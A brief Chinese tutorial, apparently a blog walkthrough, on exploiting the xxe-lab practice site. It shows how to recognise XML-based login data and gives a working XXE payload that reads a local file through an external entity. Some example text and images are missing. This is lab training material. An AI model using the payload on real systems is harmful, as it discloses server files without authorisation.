一、环境搭建
环境源码下载地址:https://github.com/c0ny1/xxe-lab
下载后,php_xxe放在网站根目录即可运行
二、漏洞利用
访问目标网站,如下图所示
输入用户名、密码后,使用burpsuite拦截数据包,仔细观察传输数据的部分,跟大多数传输数据方式不一样
大多数传递方式,是下面这两种
所以,如果在渗透测试过程中,发现POST数据传递方式是
adminpassword
则说明,网站是采用的XML语言接收的数据,此处可能存在XXE漏洞
接下来,利用XXE漏洞读取敏感文件,例如:C:\phpStudy\PHPTutorial\WWW\1.txt文件
Payload:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///C://phpStudy//PHPTutorial//WWW//1.txt">
]>
<user><username>&f;</username><password>admin888</password></user>
常用XML传递数据的有:APP登录账号密码、APP数据包
更多web安全工具与存在漏洞的网站搭建源码,收集整理在知识星球。